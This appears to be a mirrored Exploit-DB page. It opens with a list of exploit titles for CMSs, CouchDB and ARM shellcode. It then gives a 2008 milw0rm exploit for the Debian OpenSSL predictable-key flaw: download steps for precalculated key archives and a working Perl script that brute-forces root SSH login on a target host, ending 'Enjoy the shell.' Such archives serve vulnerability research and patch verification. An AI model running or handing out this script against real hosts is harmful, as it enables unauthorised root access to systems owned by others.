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1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
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1.8 KiB
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54 lines
No EOL
1.8 KiB
Text
the debian openssl issue leads that there are only 65.536 possible ssh
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keys generated, cause the only entropy is the pid of the process
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generating the key.
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This leads to that the following perl script can be used with the
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precalculated ssh keys to brute force the ssh login. It works if such a
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keys is installed on a non-patched debian or any other system manual
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configured to.
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On an unpatched system, which doesn't need to be debian, do the following:
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keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
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***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***
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1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
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2. Extract it to a directory
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3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
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Bits, generated on an upatched debian (this is the key this exploit will
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break)
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4. Run the perl script and give it the location to where you extracted
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the bzip2 mentioned.
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#!/usr/bin/perl
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my $keysPerConnect = 6;
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unless ($ARGV[1]) {
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print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
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print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
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print "By mm@deadbeef.de\n";
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exit 0;
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}
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chdir($ARGV[0]);
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opendir(A, $ARGV[0]) || die("opendir");
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while ($_ = readdir(A)) {
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chomp;
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next unless m,^\d+$,;
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push(@a, $_);
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if (scalar(@a) > $keysPerConnect) {
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system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
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".$_ } @a)." ".$ARGV[1]);
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@a = ();
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}
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}
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5. Enjoy the shell after some minutes (less than 20 minutes)
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Regards,
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Markus Mueller
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mm@deadbeef.de
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# milw0rm.com [2008-05-15] |